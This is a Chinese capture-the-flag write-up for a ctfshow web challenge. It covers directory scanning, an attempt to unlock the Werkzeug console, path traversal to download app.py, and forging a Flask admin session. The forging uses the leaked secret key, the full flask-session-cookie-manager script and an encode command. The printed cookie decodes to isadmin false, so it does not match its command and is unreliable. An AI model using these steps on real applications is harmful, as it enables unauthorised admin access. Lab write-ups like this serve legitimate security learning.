ctfshow 菜狗杯 抽老婆 wp

启动环境
dirsearch开扫
扫到/console
进入该目录

尝试弱口令爆破
失败,
那么抓个返回的包看看


全改true

此时控制台可用了
尝试通过python的os.system方法执行系统命令
到这发现应该是思路错了
考虑到存在文件下载的功能,尝试下载源文件
最终../../app.py下载成功


尝试访问该路径
需要验证session
尝试jwt解码
由源码知此处isadmin的值为true就可以了
下面用到一个处理session的脚本来构造

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
 
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
 
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod
 
# Lib for argument parsing
import argparse
 
# external Imports
from flask.sessions import SecureCookieSessionInterface
 
class MockApp(object):
 
    def __init__(self, secret_key):
        self.secret_key = secret_key
 
 
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
 
 
if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")
 
    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
 
    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)
 
    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)
 
    ## get args
    args = parser.parse_args()
 
    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

使用方法可以参考
https://gitcode.net/mirrors/noraj/flask-session-cookie-manager?utm_source=csdn_github_accelerator

观察到secret_key=tanji_is_A_boy_Yooooooooooooooooooooo!
执行脚本

python flask_session_cookie_manager3.py encode -s "tanji_is_A_boy_Yooooooooooooooooooooo!" -t "{'current_wifi': '5182cd0da9eecd039a546093143b2bf1.jpg', 'isadmin': True}"

得到
eyJjdXJyZW50X3dpZmkiOiI1MTgyY2QwZGE5ZWVjZDAzOWE1NDYwOTMxNDNiMmJmMS5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y3EP0g.Op7cFx6rEjOoyz_I6nGYCBvrtuE
重放数据包
得到flag